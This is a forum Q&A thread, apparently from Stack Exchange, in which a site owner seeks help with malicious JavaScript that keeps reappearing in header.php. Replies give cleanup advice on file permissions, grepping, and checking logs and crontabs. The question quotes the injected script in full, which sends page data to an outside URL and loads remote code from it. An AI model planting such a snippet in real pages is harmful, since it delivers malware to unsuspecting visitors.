One of my site was infested with malware once and since then I am seeing every alternate day the header.php files are getting reverted back to older versions (possibly by a script) and a malicious script is inserted somewhere in the file:

<script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "(>>>> KEEPS CHANGING >>>>>)http://www.theorchardnursinghome.co.uk/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}</script>

I have cleansed the server many a times but in vein.

I am fully aware that the best option is to reinstall the entire site but I am afraid it's a risky affair as too much customizations have been done over the past and it will take a whole lot of effort to recreate the entire setup.

How do I encounter this issue? How to identify the script(s) responsible by running one more bash script maybe? Running inotify isn't a possibility as Hostgator doesn't allow us to install.


To start with, make sure your .php and .html files are NOT writable by the uid that the web server runs as. The web server needs read and execute permissions on the files and directories but (with possibly a few exceptions like upload directories) it does not need write access to the data it is supposed to be serving.

Then grep all the files in your web site (e.g. grep -ir pattern /var/www/) for something specific to this malware. that URL it reinserts is a good choice: grep -ir 'http://www.theorchardnursinghome.co.uk' /var/www/

Unfortunately, it's possible that most of the payload of the attack is encoded with base64 or similar so the grep may not find anything.

failing that, grepping for the files it is modifying may work - e.g. grep for header.php - if it writes to header.php, there's a reasonable chance that filename will be (hopefully unencoded) somewhere in the attack script.

grep your web log files for the same things.

If your attackers managed to gain root on your server then there are endless possibilities for them to hide what they're doing. But check, at least, system crontabs including root's crontab.

BTW, this probably belongs on Server Fault rather than here. Or maybe on Webmasters

| improve this answer | |
  • finding, grepping, are all done with. Yes codes are encrypted in base64 and hence its hard to find, but I do manage to find a few dump files which makes my task easier. Question is, in spite of repeated cleansing of the server which script is carrying out this dirty job? – Ramnath Oct 28 '15 at 11:38
  • that was the point of the grepping i suggested - to find what's doing it. – cas Oct 28 '15 at 12:59
  • and this is obvious and i should have mentioned it before but grep for things like base64_decode or eval(base64_decode – cas Oct 28 '15 at 13:04
  • Rightly so. But every time I do grep (ex: grep -ilr "jmiO@sxhFnD" | more), I only find a bunch of files with the same script copy-pasted. Removal/cleansing of these files gives me a breather for 24-48 hours and then everything gets weird. BTW I have noted that the script variables get changed. – Ramnath Oct 28 '15 at 13:11
  • grep your logs as well as your web site. in particular, look for suspicious things like php or shell code, interpreter names (/bin/bash, /bin/sh, etc), function names like system or eval, semi-colon characters. grep the access log as well as the error log - quite often a successful attack will be accompanied by many unsuccesful attempts because the attacks are scripted and go through a sequence of things to try. – cas Oct 28 '15 at 13:33

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.